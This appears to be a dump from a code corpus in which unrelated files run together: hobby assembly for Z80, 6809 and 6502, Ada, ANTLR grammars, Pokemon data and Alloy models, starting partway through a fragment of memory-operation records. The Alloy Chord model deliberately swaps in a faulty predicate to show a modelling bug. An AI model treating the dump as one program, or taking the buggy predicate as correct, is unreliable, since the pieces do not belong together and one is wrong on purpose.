{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 6}}
{'44': 14637, '47': 307, '48': 1836, '00': 5049}
44 44 44 44 44 44 44 44 44 44 44 44 44 44 48 44 47 44 44 44 44 44 44 00 44 44 44 00 00 44 44 44 48 44 44 44 00 48 44 44 44 44 48 44 44 00 44 44 44 00 00 44 44 48 44 44 00 48 44 44 44 00 44 44 44 44 00 44 44 00 44 44 47 44 44 44 44 48 44 44 44 44 44 00 00 48 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 00 44 44 00 00 00 00 44 44 00 00 44 00 44 44 00 48 44 44 00 44 44 44 00 44 44 44 00 00 44 00 48 44 44 00 00 44 00 00 44 44 00 00 00 00 44 44 00 44 44 00 00 44 00 48 44 44 00 00 44 00 44 44 00 00 44 00 48 44 00 44 44 00 48 44 00 44 44 00 44 44 44 44 44 44 44 00 00 44 00 48 44 44 44 00 48 44 44 44 44 00 00 44 00 00 44 44 44 00 44 44 00 44 44 00 00 44 00 00 44 44 44 44 44 44 44 44 00 00 48 44 48 44 44 44 00 44 44 47 44 44 44 44 44 44 47 44 44 00 44 44 44 44 48 44 44 44 00 00 44 44 44 00 00 44 00 44 44 00 44 44 48 44 44 44 44 00 44 44 00 00 44 00 44 44 44 00 48 44 44 44 44 00 00 44 00 00 44 44 00 00 44 00 48 44 44 44 00 44 44 00 44 48 44 44 44 44 44 00 44 44 44 00 48 44 44 44 44 44 00 00 44 44 44 44 44 00 44 44 44 00 44 44 44 44 44 44 00 00 44 44 00 00 44 00 48 44 47 44 44 48 44 44 44 44 44 00 48 44 44 44 44 00 00 44 00 44 44 44 00 44 44 47 44 44 44 00 44 44 00 44 44 44 44 44 44 44 44 00 44 44 00 44 44 44 00 44 44 44 00 00 44 44 44 44 44 00 48 44 44 00 48 44 00 00 44 44 44 44 44 44 44 44 44 44 48 44 44 44 00 48 44 44 44 44 44 44 44 44 44 44 00 00 44 00 00 44 44 00 00 48 44 44 48 44 44 48 44 44 44 00 48 44 44 44 00 44 44 44 00 44 44 00 44 44 44 44 44 44 44 00 00 00 00 44 47 44 44 00 44 44 47 44 44 44 44 44 44 00 44 44 44 00 00 44 44 00 44 48 44 44 48 44 44 44 44 44 44 44 00 44 44 44 00 00 44 44 44 44 44 00 48 44 44 44 44 48 44 44 00 00 44 00 48 44 44 00 44 44 00 48 44 44 44 44 44 44 44 44 48 44 44 00 44 44 44 00 44 44 44 44 44 44 44 47 44 44 44 00 44 44 44 44 44 44 48 44 44 48 44 44 44 00 44 44 00 44 44 00 00 44 00 00 44 44 48 44 00 44 44 44 00 44 44 48 44 44 44 00 44 44 44 48 44 00 44 44 44 00 44 44 00 48 44 44 44 44 00 00 44 00 48 44 44 44 00 44 44 44 44 44 44 48 44 44 00 44 44 00 44 44 48 44 44 44 44 44 44 44 44 00 44 44 48 44 44 44 00 48 44 44 44 44 00 00 44 00 48 44 44 00 44 44 47 44 44 44 00 44 44 00 44 44 44 44 44 00 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 00 00 44 00 44 00 44 44 44 44 44 44 44 00 44 44 44 00 48 44 44 44 44 44 00 44 44 44 44 44 44 44 44 00 00 44 00 00 44 44 00 00 44 00 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 00 44 44 48 44 44 44 00 00 48 44 48 44 44 44 00 44 44 44 44 44 44 44 44 00 48 44 44 00 00 44 00 44 44 44 00 48 44 44 44 44 44 00 44 44 44 00 44 44 00 44 44 00 48 44 44 00 00 44 00 48 44 44 00 00 44 00 44 44 44 00 00 00 44 48 44 44 00 00 44 00 00 44 44 00 44 00 44 44 00 00 44 00 48 44 44 00 00 44 00 44 44 00 00 44 00 00 44 48 44 44 44 48 44 44 44 44 00 00 44 00 00 44 44 00 00 44 00 00 44 44 00 00 44 44 44 44 44 00 44 44 44 44 44 44 00 48 44 44 44 44 00 44 44 44 44 44 44 00 00 44 00 00 44 00 48 44 48 44 44 44 48 44 00 00 00 48 44 44 00 00 44 44 00 00 44 00 44 44
*/
|
alloy4fun_models/trashltl/models/17/eShLGDAJ9HzHTCLm8.als | Kaixi26/org.alloytools.alloy | 0 | 4227 | <gh_stars>0
open main
pred ideShLGDAJ9HzHTCLm8_prop18 {
no (Trash & Protected)
}
pred __repair { ideShLGDAJ9HzHTCLm8_prop18 }
check __repair { ideShLGDAJ9HzHTCLm8_prop18 <=> prop18o } |
libsrc/math/mbf32/z80/bserr.asm | ahjelm/z88dk | 640 | 98897 |
SECTION code_fp_mbf32
PUBLIC BSERR
EXTERN ARET
defc BSERR = ARET
|
Boolean.g4 | ohnoah/interactive-fiction | 0 | 433 | grammar Boolean;
parse
: expression EOF
;
list
: IDENTIFIER
| stringlist
| numberlist
;
stringlist
: BEGL stringelems? ENDL
;
numberlist
: BEGL numberelems? ENDL
;
stringelems
: stringtype ( SEP stringtype )*
;
numberelems
: numbertype ( SEP numbertype )*
;
numbertype
: DECIMAL
| IDENTIFIER
;
stringtype
: STRING
| IDENTIFIER
;
booleantype
: LPAREN booleantype RPAREN #parenBooleanType
| NOT booleantype #notBooleanType
| left=IDENTIFIER op=nonboolcomparator right=IDENTIFIER #identifierComparatorBooleantype
| left=booleantype op=binary right=booleantype #binaryBooleantype
| left=stringtype op=nonboolcomparator right=stringtype #stringComparatorBooleantype
| left=numbertype op=nonboolcomparator right=numbertype #numberComparatorBooleantype
| left=list IS right=list #listComparatorBooleantype
| stringtype IN list #stringInBooleantype
| numbertype IN list #numberInBooleantype
| stringtype SLASH stringtype #inheritBooleantype
| bool #boolBooleantype
| IDENTIFIER #identifierBooleantype
;
expression
: booleantype EOF #booleantypeExpression
;
nonboolcomparator
: GT | GE | LT | LE | EQ
;
binary
: AND | OR
;
bool
: TRUE | FALSE
;
IS : 'IS' ;
IN : 'IN' ;
AND : 'AND' ;
OR : 'OR' ;
NOT : 'NOT';
TRUE : 'TRUE' ;
FALSE : 'FALSE' ;
LT : '<' ;
LE : '<=' ;
EQ : '=' ;
GT : '>' ;
GE : '>=' ;
LPAREN : '(' ;
RPAREN : ')' ;
QUOTE : '"' ;
SLASH : '/' ;
STRING : ["] [a-zA-Z0-9'!#$%&()*+,-./:;<=>?@[\]^_`{|}~\r\t\n\u000C ]* ["];
DECIMAL : '-'? [0-9]+ ( '.' [0-9]+ )? ;
IDENTIFIER : [!]? ([a-zA-Z0-9_.]+) [:] [:] [a-zA-Z0-9]+;
BEGL : '[';
ENDL : ']';
SEP : ',';
WS : [ \r\t\u000C\n]+ -> skip;
|
data/wildPokemon/route5.asm | etdv-thevoid/pokemon-rgb-enhanced | 1 | 22948 | Route5Mons:
db $0F
IF DEF(_GREEN)
db 13,BELLSPROUT
db 10,ABRA
db 15,PIDGEY
db 10,MEOWTH
db 12,MEOWTH
db 15,BELLSPROUT
db 16,BELLSPROUT
db 16,PIDGEY
db 14,MEOWTH
db 16,MEOWTH
ELSE
db 13,ODDISH
db 10,ABRA
db 15,PIDGEY
db 10,MEOWTH
db 12,MEOWTH
db 15,ODDISH
db 16,ODDISH
db 16,PIDGEY
db 14,MEOWTH
db 16,MEOWTH
ENDC
db $00
|
symbolinen_konekieli/Linux/eka_64.asm | tkukka/VariousContent | 0 | 242147 | BITS 64
DEFAULT REL
laitetulostus EQU 1
stdout EQU 1
loppu_hyvin EQU 0
lopetus EQU 60
SECTION .rodata
viesti db "Ääkköset äöåÄÖÅ. <NAME>",10,0
viestin_pituus EQU $ - viesti
toinen_viesti db "Toinenkin tuloste.",10,0
toisen_viestin_pituus EQU $ - toinen_viesti
SECTION .text
GLOBAL _start:function
_start: mov edx, viestin_pituus ;RDX yläosa = 0
mov rsi, viesti
mov edi, stdout ;RDI yläosa = 0
mov eax, laitetulostus ;RAX yläosa = 0
syscall
mov edx, toisen_viestin_pituus ;RDX yläosa = 0
mov rsi, toinen_viesti
mov edi, stdout ;RDI yläosa = 0
mov eax, laitetulostus ;RAX yläosa = 0
syscall
mov edi, loppu_hyvin ;RDI yläosa = 0
mov eax, lopetus ;RAX yläosa = 0
syscall
|
kv-avm-vole_parser.ads | davidkristola/vole | 4 | 21472 |
package kv.avm.vole_parser is
Unimplemented_Error : exception;
procedure YYParse;
Verbose : Boolean := False;
end kv.avm.vole_parser;
|
day10/day10.adb | thorstel/Advent-of-Code-2018 | 2 | 15547 | with Ada.Text_IO; use Ada.Text_IO;
with Input; use Input;
procedure Day10 is
procedure Print_Grid
(Points : Point_Array;
Min_X, Max_X, Min_Y, Max_Y : Integer)
is
Grid : array
(Integer range Min_X .. Max_X,
Integer range Min_Y .. Max_Y) of Character :=
(others => (others => '.'));
begin
for I in Points'Range loop
Grid (Points (I).X, Points (I).Y) := '#';
end loop;
for Y in Min_Y .. Max_Y loop
for X in Min_X .. Max_X loop
Put ("" & Grid (X, Y));
end loop;
Put_Line ("");
end loop;
end Print_Grid;
Seconds : Natural := 0;
begin
-- Assumption: The points are converging until the message appears
-- and then diverge again. Meaning the diameter on the Y-axis should
-- increase for the first time directly after the message is shown.
Infinite_Loop :
loop
declare
Min_X : Integer := Integer'Last;
Max_X : Integer := Integer'First;
Min_Y_Before : Integer := Integer'Last;
Max_Y_Before : Integer := Integer'First;
Min_Y_After : Integer := Integer'Last;
Max_Y_After : Integer := Integer'First;
begin
for I in Points'Range loop
Min_X := Integer'Min (Min_X, Points (I).X);
Max_X := Integer'Max (Max_X, Points (I).X);
Min_Y_Before := Integer'Min (Min_Y_Before, Points (I).Y);
Max_Y_Before := Integer'Max (Max_Y_Before, Points (I).Y);
Points (I) := Points (I) + Velocities (I);
Min_Y_After := Integer'Min (Min_Y_After, Points (I).Y);
Max_Y_After := Integer'Max (Max_Y_After, Points (I).Y);
end loop;
if abs (Max_Y_After - Min_Y_After) > abs (Max_Y_Before - Min_Y_Before)
then
-- Roll-back the last step
for I in Points'Range loop
Points (I) := Points (I) - Velocities (I);
end loop;
-- Print the result
Put_Line ("Part 1:");
Print_Grid (Points, Min_X, Max_X, Min_Y_Before, Max_Y_Before);
Put_Line ("Part 2 =" & Natural'Image (Seconds));
exit Infinite_Loop;
end if;
Seconds := Seconds + 1;
end;
end loop Infinite_Loop;
end Day10;
|
include/test/irq.asm | eyalabraham/dragon | 0 | 174618 | <gh_stars>0
;
; irq.asm
;
; MC6809E emulator test code for hardware interrupts.
;
; This assembly code is used to test emulation interrupt handling
; for IRQ, FIRQ and NMI interrupts of the MC6809.
; The code sets up a 'background' process of printing three decimal numbers
; that are manipulated by the three interrupt routines. Three interrupt
; service routines are hooked to respond to three hardware interrupts
; sources: NMI, IRQ, FIRQ each service routine increments a decimal number
; The IRQ and FIRQ need to be acknowledged by a write to an IO device
; which will remove its interrupt request signal.
; Code will load at address $0000, with entry point at $0000
;
jmp start
;
nmi_vec: equ $fffc
firq_vec: equ $fff6
irq_vec: equ $fff8
firq_dis: equ %01000000
firq_ena: equ %10111111
irq_dis: equ %00010000
irq_ena: equ %11101111
;
stack: equ $8000
;
acia_stat: equ $f000 ; ACIA IO address
acia_data: equ $f001
rx_rdy: equ %00000001
tx_rdy: equ %00000010
;
firq_ack: equ $f002 ; A write to this IO device
irq_ack: equ $f003 ; resets/acknowledges the interrupt
;
cr: equ 13
lf: equ 10
;
varstart equ *
;
var0: fcb $00 ; Incremented bu NMI services.
var1: fcb $00 ; Incremented by FIRQ service.
var2: fcb $00 ; Incremented by IRQ service.
col: fcb 0
row: fcb 0
;
banner: fcb $1b ; VT100 codes for printing
fcc '[2J'
fcc 'Int '
fcc 'test'
fcb 0
;
pos1: fcb $1b
fcc '[3;2H'
fcc 'N'
fcb 0
pos2: fcb $1b
fcc '[4;2H'
fcc 'F'
fcb 0
pos3: fcb $1b
fcc '[5;2H'
fcc 'I'
fcb 0
;
varend: equ *
varlen: equ varend-varstart
;
nmi_serv: lda var0 ; Get counter
adda #1 ; increment it
daa
cmpa #$99 ; check its limits
bne done_nmi
clra
done_nmi: sta var0 ; and save for next round.
rti
;
firq_serv: sta firq_ack ; Acknowledge to FIRQ to the device.
lda var1 ; Get counter
adda #1 ; increment
daa
cmpa #$99 ; check its limits
bne done_firq
clra
done_firq: sta var1 ; and save for next round.
rti
;
irq_serv: sta irq_ack ; Acknowledge the IRQ to the device
lda var2 ; Get counter
adda #1 ; increment it
daa
cmpa #$99 ; check its limits
bne done_irq
clra
done_irq: sta var2 ; and save for next round.
rti
;
; Main routine with an endless loop.
;
start: lds #stack ; Set up the stack.
ldx #nmi_serv ; Set up the interrupt vectors.
stx nmi_vec
ldx #firq_serv
stx firq_vec
ldx #irq_serv
stx irq_vec
;
andcc #firq_ena ; Enable interrupts.
andcc #irq_ena
;
ldx #banner ; Clear screen and print
bsr out_str ; a banner
;
print_loop: ldx #pos1 ; Print variables
bsr out_str
lda var0
bsr out_bcd
;
ldx #pos2
bsr out_str
lda var1
bsr out_bcd
;
ldx #pos3
bsr out_str
lda var2
bsr out_bcd
;
bra print_loop ; forever.
;
; Input a character from ACIA.
; Wait/block for ACIA to be ready and
; return character in Acc-A
;
in_char: lda acia_stat ; Read ACIA status
bita #rx_rdy ; and check Rx ready bit
beq in_char ; wait for it to be ready.
lda acia_data ; Read a character into Acc-A
rts ; and return.
;
; Print a character to ACIA.
; Eait/block for ACIA to be ready and
; send character from Acc-A
;
out_char: pshs a ; Save Acc-A
wait: lda acia_stat ; Read ACIA status
bita #tx_rdy ; and check Tx ready bit
beq wait ; wait for it to signal ready.
puls a ; Restore Acc-A
sta acia_data ; send it
rts ; and return.
;
; Print a zero-terminated string to the console.
; String address in X. Outputs until
; encounters a '0' in the string.
; Preserve all registers.
;
out_str: pshs a,x
loop_char: lda ,x+
beq eof_str
bsr out_char
bra loop_char
eof_str: puls a,x
rts
;
; Print a two-digit decimal number.
; Converts decimal number in Acc-A to BCD
; and prints to console.
;
out_bcd: pshs a,b
tfr a,b
lsra
lsra
lsra
lsra
anda #$0f
adda #'0
bsr out_char
tfr b,a
anda #$0f
adda #'0
bsr out_char
puls a,b
rts
;
; End of test
|
Dokafile.g4 | Vagahbond/doka | 0 | 735 | grammar Dokafile;
translation: instructions EOF;
instructions: ( Indent? instruction '\n')*;
instruction:
if_instruction
| native_instruction
| nothing
| comment;
nothing:;
comment: Comment;
native_instruction: NativeInstructionCall;
if_instruction:
If ' '+ if_expression '\n' instructions Indent? End;
if_expression: value ' '* (OperatorEq | OperatorNe) ' '* value;
value: StringLiteral | Variable;
If: '!IF';
End: '!END';
OperatorEq: '==';
OperatorNe: '!=';
Variable: '$' Name;
NativeInstructionCall:
NativeInstruction ' ' NativeInstructionCallChar*;
fragment NativeInstructionCallChar: ~ [\r\n] | '\\\n';
Indent: [ \t]+;
fragment NativeInstruction:
'FROM'
| 'WORKDIR'
| 'LABEL'
| 'EXPOSE'
| 'ENV'
| 'ARG'
| 'VOLUME'
| 'USER'
| 'ONBUILD'
| 'STOPSIGNAL'
| 'HEALTHCHECK'
| 'SHELL'
| 'ADD'
| 'COPY'
| 'RUN'
| 'CMD'
| 'ENTRYPOINT';
StringLiteral: ('"' StringChar* '"') | '\'' CharChar+ '\'';
Comment: '#' (~ [\r\n])*;
fragment Name: [a-zA-Z_] [a-zA-Z0-9_]*;
fragment StringChar: ~ ["\r\n] | Escape;
fragment CharChar: ~ ['\r\n] | Escape;
fragment Escape: '\\\'' | '\\"' | '\\\\' | '\\n' | '\\r';
|
test/kbdtest.asm | ceharris/sbz80 | 0 | 91045 |
SCLK .equ $40
MOSI .equ $20
SCS .equ $10
IOREG .equ $f0
MODREG .equ $ff
MODE .equ $01
RAM .equ $4000
ROMSZ .equ $2000
MADDR .equ $400
MLEN .equ $10000 - MADDR
PDATA .equ $d0
PCTRL .equ $d2
PMODE .equ $4f
PINTR .equ $87
KB_OK .equ $aa
KB_ERR .equ $fc
BLUE .equ $1
LED .equ $2
KBLEN .equ 16
TLED .equ $4000
INPTR .equ $4002
KBHEAD .equ $4008
KBTAIL .equ $400a
KBCNT .equ $400c
KBBAT .equ $400d
KBFLAGS .equ $400e
KBBUF .equ $4010
VECTAB .equ $4100
INBUF .equ $8000
DLYCNT .equ 0
.aseg
.org 0
ld sp,0
ld a,high(VECTAB)
ld i,a
im 2
ld a,SCS|BLUE
ld (TLED),a
out (IOREG),a
ld de,0
call delay
ld a,(TLED)
xor BLUE
ld (TLED),a
out (IOREG),a
call delay
ld a,(TLED)
xor BLUE
ld (TLED),a
out (IOREG),a
call delay
ld a,(TLED)
xor BLUE
ld (TLED),a
out (IOREG),a
call delay
ld a,(TLED)
xor BLUE
ld (TLED),a
out (IOREG),a
call delay
ld a,(TLED)
xor BLUE
ld (TLED),a
out (IOREG),a
; test display
ld hl,$0f01
call spi
ld de,DLYCNT
call delay
; clear all digits
ld b,8
ld h,1
ld l,0
ssclear:
call spi
inc h
djnz ssclear
; no input decode
ld hl,$0900
call spi
; max intensity
ld hl,$0a0f
call spi
; scan all digits
ld hl,$0b07
call spi
; normal operation
ld hl,$0c01
call spi
; normal display
ld hl,$0f00
call spi
ld bc,0
ld a,1
call ssdisp16
ld bc,0
ld a,5
call ssdisp16
ld de,kbisr
ld hl,VECTAB
ld (hl),e
inc hl
ld (hl),d
ld hl,KBBUF
ld (KBHEAD),hl
ld (KBTAIL),hl
xor a
out (PCTRL),a ; set vector to zero
ld a,PMODE
out (PCTRL),a ; set mode 1 (input)
ld a,PINTR
out (PCTRL),a ; enable interrupt
ld hl,INBUF
ld (hl),a
inc hl
ld (hl),a
inc hl
ld (hl),a
inc hl
xor a
ld (INPTR),hl
ld (KBCNT),a
ld (KBBAT),a
in a,(PDATA)
ei
xor a
ld d,a
ld e,a
ld h,a
ld l,a
show:
ld a,(KBCNT)
ld b,a
ld c,e
ld a,5
call ssdisp16
ld b,h
ld c,l
ld a,1
call ssdisp16
loop:
call kbread
jp z,loop
ld d,e
ld e,h
ld h,l
ld l,a
jp show
kbisr:
ei
push af
push bc
push hl
in a,(PDATA)
ld b,a
cp KB_OK
jp z,kbisr20
cp KB_ERR
jp z,kbisr20
ld a,(KBCNT)
inc a
ld (KBCNT),a
ld hl,(KBTAIL)
ld c,l
inc l
ld a,l
and KBLEN-1
jp nz,kbisr10
ld l,low(KBBUF)
kbisr10:
ld a,(KBHEAD)
cp l
jp z,kbisr30
ld (KBTAIL),hl
ld l,c
ld (hl),b
jp kbisr30
kbisr20:
ld (KBBAT),a
kbisr30:
pop hl
pop bc
pop af
reti
kbread:
push bc
push hl
ld hl,(KBHEAD)
ld a,(KBTAIL)
cp l
jp z,kbread20
ld c,(hl)
inc l
ld a,l
and KBLEN-1
jp nz,kbread10
ld l,low(KBBUF)
kbread10:
ld (KBHEAD),hl
or 1
ld a,c
kbread20:
pop hl
pop bc
ret
;----------------------------------------------------------------------
; ssdisp16:
; Displays a 16-bit value on 4 digits of the 7-segment LED display.
;
; On entry:
; A = digit position from 1..8 (right to left)
; BC = value to display
;
; On return:
; AF destroyed
ssdisp16:
push de
push hl
ld h,a
ld e,c
call binhex
ld a,h
call ssout
inc h
ld e,d
ld a,h
call ssout
inc h
ld e,b
call binhex
ld a,h
call ssout
inc h
ld e,d
ld a,h
call ssout
pop hl
pop de
ret
;----------------------------------------------------------------------
; ssout:
; Outputs a bit pattern to a digit of the 7-segment LED display module
;
; On entry:
; A = digit address 1-8 (right to left)
; E = bit pattern for the digit
;
; On return:
; AF destroyed
;
ssout:
push hl
ld h,a
ld l,e
call spi
pop hl
ret
;----------------------------------------------------------------------
; binhex:
; Converts a 8-bit value to two 8-bit patterns representing hexadecimal
; digits for a 7-segment display
;
; On entry:
; E = 8-bit input value
;
; On return:
; D = pattern for upper four bits of input E
; E = pattern for lower four bits of input E
; AF destroyed
;
binhex:
push hl
ld d,e ; save E
; convert lower nibble
ld a,e
and $0f
ld hl,digits ; point to digit patterns
add l ; add nibble value to table LSB
ld l,a ; ... and save it
ld a,h ; get table MSB
adc 0 ; include any carry out of the LSB
ld h,a ; ... and save it
ld e,(hl) ; fetch the bit pattern
; convert upper nibble
ld a,d
rrca
rrca
rrca
rrca
and $0f
ld hl,digits ; point to digit patterns
add l ; add nibble value to table LSB
ld l,a ; ... and save it
ld a,h ; get table MSB
adc 0 ; include any carry out of the LSB
ld h,a ; ... and save it
ld d,(hl)
pop hl
ret
digits:
db $7e ; 0 - 01111110
db $30 ; 1 - 00110000
db $6d ; 2 - 01101101
db $79 ; 3 - 01111001
db $33 ; 4 - 00110011
db $5b ; 5 - 01011011
db $5f ; 6 - 01011111
db $70 ; 7 - 01110000
db $7F ; 8 - 01111111
db $7B ; 9 - 01111011
db $77 ; A - 01110111
db $1F ; b - 00011111
db $4E ; C - 01001110
db $3D ; d - 00111101
db $4F ; E - 01001111
db $47 ; F - 01000111
;----------------------------------------------------------------------
; spi:
; Sends a 16-bit value out to the display module using SPI
;
; On entry:
; HL = value to send
;
spi:
push af
push bc
ld a,(TLED)
and ~SCS
out (IOREG),a
ld b,8
spi10:
rlc h
jp nc,spi20
or MOSI
jp spi30
spi20:
and ~MOSI
spi30:
out (IOREG),a
or SCLK
out (IOREG),a
and ~SCLK
out (IOREG),a
djnz spi10
ld b,8
spi40:
rlc l
jp nc,spi50
or MOSI
jp spi60
spi50:
and ~MOSI
spi60:
out (IOREG),a
or SCLK
out (IOREG),a
and ~SCLK
out (IOREG),a
djnz spi40
ld a,(TLED)
or SCS
out (IOREG),a
pop bc
pop af
ret
delay:
push af
delay10:
dec de
ld a,d
or e
jr nz,delay10
pop af
ret
.end
|
lab08_12.asm | m-ross/cis225p8 | 0 | 80699 | <reponame>m-ross/cis225p8
TITLE lab08_12
; Programmer: <NAME>
; Due: 25 April, 2014
; Description: This lab displays the system time in a 12 hour format using an external subprogram in bin\lab08.obj.
.MODEL SMALL
.386
.STACK 64
;==========================
.DATA
msg1 DB 'The time is ', 24h
msg2 DB ' AM.', 0ah, 0dh, 24h
;==========================
.CODE
EXTRN DispNum : NEAR
Main PROC NEAR
mov ax, @data ; init data
mov ds, ax ; segment register
call DispDate ; display date
mov ax, 4c00h ; return code 0
int 21h
Main ENDP
;==========================
DispDate PROC NEAR
mov dx, OFFSET msg1
mov ah, 09h
int 21h ; display msg1
mov ah, 2ch
int 21h ; get date
mov al, ch ; hour -> al
cmp al, 12 ; hour - 12
jb am ; time is AM if hour < 12
sub al, 12 ; convert from 12-23 to 0-11
mov [msg2 + 1], 'P' ; overwrite 'AM' in msg2 to be 'PM'
am: cmp al, 0 ; hour - 0
jne disp ; goto display if hour != 0
mov al, 12 ; if hour = 0, 12 -> hour
disp: call DispNum ; display hour
mov dl, 3ah ; 3ah = ':'
mov ah, 02h
int 21h ; display colon
mov al, cl ; minute -> al
call DispNum ; display minute
mov dx, OFFSET msg2
mov ah, 09h
int 21h ; display msg2
ret
ENDP
;==========================
END Main |
programs/oeis/294/A294091.asm | neoneye/loda | 22 | 242012 | <filename>programs/oeis/294/A294091.asm
; A294091: Numbers k such that (k - 1)/2 is prime that are not congruent to -1 mod 8.
; 5,11,27,35,59,75,83,107,123,147,179,195,203,219,227,275,299,315,347,363,387,395,459,467,483,515,539,555,563,587,627,635,675,699,707,747,779,795,803,819,843,867,899,915,923,1019,1043,1083,1115,1139,1155,1187,1203,1227,1235,1283,1307,1323,1347,1355,1403,1419,1467,1515,1523,1539,1547,1595,1619,1643,1659,1707,1715,1755,1763,1859,1875,1883,1907,1955,1995,2019,2027,2043,2067,2099,2123,2139,2187,2195,2219,2235,2259,2307,2363,2387,2403,2427,2435,2459
seq $0,280084 ; 1 together with the Pythagorean primes.
max $0,2
mov $1,$0
add $1,1
add $0,$1
|
asm/6502/test/storage.asm | fcatrin/clc88 | 6 | 83513 | icl '../os/symbols.asm'
; this test is a direct read from storage, without BIOS support
org BOOTADDR
lda #1
sta ROS7
lda #0
ldx #OS_SET_VIDEO_MODE
jsr OS_CALL
sta ST_WRITE_RESET
mwa DISPLAY_START VADDRW
; Call command to open file
mwa #filename SRC_ADDR
jsr file_open_read
read_next_byte:
jsr file_read_byte
bne eof
cmp #32
bcc read_next_byte
jsr screen_putc
jmp read_next_byte
eof:
jsr file_close
jmp end
end_with_error:
ldx #0
@:
lda message_not_found, x
beq print_filename
jsr screen_putc
inx
bne @-
print_filename:
ldx #0
@:
lda filename, x
beq end
jsr screen_putc
inx
bne @-
end:
jmp end
.proc screen_putc
sta VDATA
rts
.endp
filename:
.by "../asm/6502/test/storage.asm", 0
message_not_found:
.by "Cannot open file: ", 0
icl '../os/stdlib.asm'
|
models/chordbugmodel.als | trojan321/AlloyViz | 0 | 1835 | <filename>models/chordbugmodel.als<gh_stars>0
module examples/case_studies/chord
/*
* Models the chord distributed hash table lookup protocol.
*
* For a detailed description, see:
* http://www.pdos.lcs.mit.edu/papers/chord:sigcomm01/
*/
sig Id {next: Id}
fact {all i: Id | Id in i.*next}
pred less_than [from, i,j: Id] {
let next' = Id<:next - (Id->from) | j in i.^next'
}
pred less_than_eq [from, i,j: Id] {
let next' = Id<:next - (Id->from) | j in i.*next'
}
sig Node1 {id: Id}
fact {all m,n: Node1 | m!=n => m.id != n.id}
sig Node1Data {
next: Node1,
finger: Id -> lone Node1,
closest_preceding_finger: Id -> one Node1,
find_successor: Id -> one Node1
}
sig State {
active: set Node1,
data: active -> one Node1Data
}
fact {
all s: State | all n: s.active |
n.(s.data).next = n.(s.data).finger[n.id.next]
}
pred NextCorrect [s: State] {
all n: s.active | let succ = n.(s.data).next {
no n': s.active - n | less_than [n.id, n'.id, succ.id]
succ != n || #s.active = 1
succ in s.active
}
}
pred FingersCorrect [s: State] {
all nd: s.active.(s.data) | all start: (nd.finger).Node1 |
nd.finger[start] in s.active &&
(no n' : s.active | less_than [start, n'.id, nd.finger[start].id])
}
pred save_ClosestPrecedingFinger [s: State] {
all n: s.active | let nd = n.(s.data) |
all i: Id | let cpf = nd.closest_preceding_finger[i] {
no n': (nd.finger[Id] + n) - cpf | less_than [cpf.id, n'.id, i]
cpf in nd.finger[Id] + n
cpf.id != i || # s.active = 1
}
}
pred save_FindSuccessor[s: State] {
all n: s.active | let nd = n.(s.data) | all i: Id {
nd.find_successor[i] =
(((less_than_eq [n.id, i, nd.next.id] && n.id != i) || # s.active = 1)
=> nd.next
else
(nd.closest_preceding_finger[i].(s.data).find_successor)[i])
}
}
pred IrrelevantFact1 {
all s : State {
ClosestPrecedingFinger[s]
FindSuccessor[s]
}
}
pred ShowMe1Node1 {
#Node1 = 1
all s : State | NextCorrect[s] && FingersCorrect[s]
State.active = Node1
}
run ShowMe1Node1 for 2 but 1 State, 1 Node1 expect 1
pred ShowMeGood {
#Id = 4
all s : State | NextCorrect[s] && FingersCorrect[s]
State.active = Node1
}
run ShowMeGood for 4 but 1 State, 2 Node1 expect 1
pred FindSuccessorIsCorrect[s: State] {
all i: Id | all n: s.active |
let succ = (n.(s.data)).find_successor [i] {
succ in s.active
no n': s.active | less_than [i, n'.id, succ.id]
}
}
pred ShowMeCorrectSuccessorEg {
#Node1 = 3
State.active = Node1
all s: State | FingersCorrect[s] && FindSuccessorIsCorrect[s]
}
run ShowMeCorrectSuccessorEg for 3 but 1 State expect 1
pred ShowMe3 {
#Id = 5
#Node1 = 3
#State = 1
all s : State | NextCorrect[s] && !FingersCorrect[s]
State.active = Node1
}
run ShowMe3 for 5 but 1 State expect 1
pred FindSuccessorWorks {
IrrelevantFact1
! (
all s: State | FingersCorrect[s]
=> FindSuccessorIsCorrect[s]
)
}
assert StrongerFindSuccessorWorks {
all s: State | NextCorrect[s] => FindSuccessorIsCorrect[s]
}
run FindSuccessorWorks for 4 but 1 State expect 0
check StrongerFindSuccessorWorks for 4 but 1 State expect 1
/*
\section Variations
In the pseudocode presented in [\cite{chord1},
\cite{chord2}], there is some ambiguity as to what the
expression \tt<(n, n.successor]> means in boundary cases
where there is exactly one Node1 and \tt<n.successor = n>.
The intention of the authors is that the set includes
\tt<n>. We consider variations of the alloy model with the
bug where the set \tt<(n, n]> does not include \tt<n>, and
observe how it affects the \tt<closest_preceding_finger> and
the \tt<find_sucessor> routines.
\subsection faulty \tt<closest_preceding_finger>
Suppose we change \tt<ClosestPrecedingFinger> as follows:
\code
*/
pred ClosestPrecedingFinger [s: State] {
all n: s.active | let nd = n.(s.data) |
all i: Id | let cpf = nd.closest_preceding_finger[i] {
no n': (nd.finger[Id] + n) - cpf | less_than [cpf.id, n'.id, i]
cpf in nd.finger[Id] + n
cpf.id != i
}
}
/*
The only change here is in the last line
\cite{cpf-variation}, where we removed the clause \tt< || #
s.active=1>. The assertion \tt<FindSuccessorWorks> will
still hold for scope up to 4, but \tt<ShowMe1Node1> will fail
to generate an example! This is an example of a
over-constraint, where the inconsistency only shows up when
there is exactly one Node1. What happens here is that the
model requires that a closest preceding finger Node1 has a
distinct identifier from the input identifier, but this
cannot happen if there is exactly one Node1 and if the input
identifer equals that of the Node1.
